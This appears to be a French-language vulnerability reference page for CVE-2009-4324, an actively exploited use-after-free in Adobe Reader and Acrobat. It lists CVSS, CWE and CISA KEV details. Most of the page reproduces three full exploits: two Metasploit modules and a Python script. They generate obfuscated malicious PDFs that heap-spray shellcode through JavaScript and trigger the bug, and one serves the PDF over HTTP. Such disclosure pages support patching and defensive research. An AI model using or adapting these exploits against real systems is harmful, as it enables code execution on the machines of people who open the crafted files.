Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-416 |
Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
| V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Adobe Acrobat and Reader Use-After-Free Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-06-07 22h00 +00:00
Action attendue : 2022-06-21 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 16503
Date de publication : 2010-04-29 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: adobe_media_newplayer.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',
'Description' => %q{
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
Professional versions up to and including 9.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # Found in the wild
# Metasploit version by:
'hdm',
'pusscat',
'jduck',
'jabra'
],
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2009-4324' ],
[ 'BID', '37331' ],
[ 'OSVDB', '60980' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# test results (on Windows XP SP3)
# reader 6.0.1 - vulnerable / doesn't work
# reader 7.0.5 - untested
# reader 7.0.8 - untested
# reader 7.0.9 - vulnerable / doesn't work
# reader 7.1.0 - untested
# reader 7.1.1 - untested
# reader 8.0.0 - untested
# reader 8.1.1 - works
# reader 8.1.2 - untested
# reader 8.1.3 - untested
# reader 8.1.4 - untested
# reader 8.1.5 - untested
# reader 8.1.6 - untested
# reader 9.0.0 - untested
# reader 9.1.0 - works
# reader 9.2 - works (no debugger, no DEP)
[ 'Adobe Reader Windows English (JS Heap Spray)',
{
'Size' => (0x10000/2),
'Ret' => 0x0c0c0c0c
}
],
[ 'Adobe Reader Windows German (JS Heap Spray)',
{
'Size' => (0x10000/2),
'Ret' => 0x0a0a0a0a
}
],
],
'DisclosureDate' => 'Dec 14 2009',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Make some nops
nops = Rex::Text.to_unescape([target.ret].pack('V'))
# Randomize variables
#
len = 72
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
vtbuf = [target.ret].pack('V') * 4
vtbuf << rand_text_alpha(len - vtbuf.length)
vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')
retstring = Rex::Text.to_unescape(vtbuf)
# The printd strings are 72 bytes (??)
script = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} = unescape("#{nops}");
var #{rand3} = unescape("#{retstring}");
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
memory=new Array();
for(i=0;i<0x2000;i++) { memory[i]= #{rand2} + #{rand1}; }
util.printd("#{rand4}", new Date());
util.printd("#{rand5}", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd(#{rand3}, new Date());
|
# Create the pdf
pdf = make_pdf(script)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
handler(cli)
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(js)
xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
xref << pdf.length
pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
xref << pdf.length
pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
xref << pdf.length
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
xref << pdf.length
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end
end
Exploit Database EDB-ID : 16623
Date de publication : 2010-09-24 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: adobe_media_newplayer.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',
'Description' => %q{
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
Professional versions up to and including 9.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # Found in the wild
# Metasploit version by:
'hdm',
'pusscat',
'jduck'
],
'Version' => '$Revision: 10477 $',
'References' =>
[
[ 'CVE', '2009-4324' ],
[ 'BID', '37331' ],
[ 'OSVDB', '60980' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# test results (on Windows XP SP3)
# reader 6.0.1 - vulnerable / doesn't work
# reader 7.0.5 - untested
# reader 7.0.8 - untested
# reader 7.0.9 - vulnerable / doesn't work
# reader 7.1.0 - untested
# reader 7.1.1 - untested
# reader 8.0.0 - untested
# reader 8.1.1 - works
# reader 8.1.2 - untested
# reader 8.1.3 - untested
# reader 8.1.4 - untested
# reader 8.1.5 - untested
# reader 8.1.6 - untested
# reader 9.0.0 - untested
# reader 9.1.0 - works
# reader 9.2 - works (no debugger, no DEP)
[ 'Adobe Reader Windows English (JS Heap Spray)',
{
'Size' => (0x10000/2),
'Ret' => 0x0c0c0c0c,
}
],
[ 'Adobe Reader Windows German (JS Heap Spray)',
{
'Size' => (0x10000/2),
'Ret' => 0x0a0a0a0a,
}
],
],
'DisclosureDate' => 'Dec 14 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Make some nops
nops = Rex::Text.to_unescape([target.ret].pack('V'))
# Randomize variables
#
len = 72
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
vtbuf = [target.ret].pack('V') * 4
vtbuf << rand_text_alpha(len - vtbuf.length)
vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')
retstring = Rex::Text.to_unescape(vtbuf)
# The printd strings are 72 bytes (??)
script = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} = unescape("#{nops}");
var #{rand3} = unescape("#{retstring}");
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
memory=new Array();
for(i=0;i<0x2000;i++) {
memory[i]= #{rand2} + #{rand1};
}
util.printd("#{rand4}", new Date());
util.printd("#{rand5}", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd(#{rand3}, new Date());
|
# Create the pdf
pdf = make_pdf(script)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(js)
xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
xref << pdf.length
pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
xref << pdf.length
pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
xref << pdf.length
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
xref << pdf.length
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end
end
Exploit Database EDB-ID : 10618
Date de publication : 2009-12-22 23h00 +00:00
Auteur : Ahmed Obied
EDB Vérifié : Yes
#
# Author : Ahmed Obied (ahmed.obied@gmail.com)
#
# This program generates a PDF file that exploits a vulnerability (CVE-2009-4324)
# in Adobe Reader and Acrobat. The generated PDF file was tested using Adobe
# Reader 9.2.0 on Windows XP SP3. The exploit's payload spawns the calculator.
#
# Usage : python adobe_newplayer.py [output file name]
#
import sys
class PDF:
def __init__(self):
self.xrefs = []
self.eol = '\x0d\x0a'
self.content = ''
self.xrefs_offset = 0
def header(self):
self.content += '%PDF-1.1' + self.eol
def obj(self, obj_num, data):
self.xrefs.append(len(self.content))
self.content += '%d 0 obj' % obj_num
self.content += self.eol + '<< ' + data + ' >>' + self.eol
self.content += 'endobj' + self.eol
def ref(self, ref_num):
return '%d 0 R' % ref_num
def xref(self):
self.xrefs_offset = len(self.content)
self.content += 'xref' + self.eol
self.content += '0 %d' % (len(self.xrefs) + 1)
self.content += self.eol
self.content += '0000000000 65535 f' + self.eol
for i in self.xrefs:
self.content += '%010d 00000 n' % i
self.content += self.eol
def trailer(self):
self.content += 'trailer' + self.eol
self.content += '<< /Size %d' % (len(self.xrefs) + 1)
self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol
self.content += 'startxref' + self.eol
self.content += '%d' % self.xrefs_offset
self.content += self.eol
self.content += '%%EOF'
def generate(self):
return self.content
class Exploit:
def convert_to_utf16(self, payload):
enc_payload = ''
for i in range(0, len(payload), 2):
num = 0
for j in range(0, 2):
num += (ord(payload[i + j]) & 0xff) << (j * 8)
enc_payload += '%%u%04x' % num
return enc_payload
def get_payload(self):
# win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
# http://metasploit.com
payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6f'
payload += '\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e\x6f\x02\x3a\x4b'
payload += '\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a\x3a\x51\x4f\x03\x5a\x47'
payload += '\xe4\x36\x3a\x0f\x81\x33\x71\x97\xc3\x86\x71\x7a\x68\xc3\x7b\x03'
payload += '\x6e\xc0\x5a\xfa\x54\x56\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68'
payload += '\xe4\x0e\xfa\x85\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a'
payload += '\x6b\xc1\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02\x3a\x66'
payload += '\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e\x07\x7c\x69\xec'
payload += '\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61\xd0\x62\x0c\x2c\xd4\x76'
payload += '\x0a\x02\xb1\x0e'
return self.convert_to_utf16(payload)
def get_exploit(self):
exploit = '''
function spray_heap()
{
var chunk_size, payload, nopsled;
chunk_size = 0x8000;
payload = unescape("<PAYLOAD>");
nopsled = unescape("<NOP>");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < <CHUNKS> ; i++)
heap_chunks[i] = nopsled + payload;
}
function trigger_bug()
{
util.printd("1.000000000000000000000000 : 0000000", new Date());
try {
media.newPlayer(null);
} catch(e) {}
util.printd("1.000000000000000000000000 : 0000000", new Date());
}
spray_heap();
trigger_bug();
'''
exploit = exploit.replace('<PAYLOAD>', self.get_payload())
exploit = exploit.replace('<NOP>', '%u0d0d%u0d0d')
exploit = exploit.replace('<CHUNKS>', '1200')
return exploit
def generate_pdf():
exploit = Exploit()
pdf = PDF()
pdf.header()
pdf.obj(1, '/Type /Catalog /Outlines ' + pdf.ref(2) + ' /Pages ' + pdf.ref(3) + ' /OpenAction ' + pdf.ref(5))
pdf.obj(2, '/Type /Outlines /Count 0')
pdf.obj(3, '/Type /Pages /Kids [' + pdf.ref(4) + '] /Count 1')
pdf.obj(4, '/Type /Page /Parent ' + pdf.ref(3) + ' /MediaBox [0 0 612 792]')
pdf.obj(5, '/Type /Action /S /JavaScript /JS (%s)' % exploit.get_exploit())
pdf.xref()
pdf.trailer()
return pdf.generate()
def main():
if len(sys.argv) != 2:
print 'Usage: python %s [output file name]' % sys.argv[0]
sys.exit(0)
file_name = sys.argv[1]
if not file_name.endswith('.pdf'):
file_name = file_name + '.pdf'
try:
fd = open(file_name, 'w')
fd.write(generate_pdf())
fd.close()
print '[-] PDF file generated and written to %s' % file_name
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
if __name__ == '__main__':
main()
Products Mentioned
Configuraton 0
Adobe>>Acrobat >> Version From (including) 8.0 To (excluding) 8.2
Adobe>>Acrobat >> Version From (including) 9.0 To (excluding) 9.3
Adobe>>Acrobat_reader >> Version From (including) 8.0 To (excluding) 8.2
Adobe>>Acrobat_reader >> Version From (including) 9.0 To (excluding) 9.3
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Suse>>Linux_enterprise_debuginfo >> Version 11
Opensuse>>Opensuse >> Version 11.1
Opensuse>>Opensuse >> Version 11.2
Suse>>Linux_enterprise >> Version 10.0
Suse>>Linux_enterprise >> Version 10.0
Références
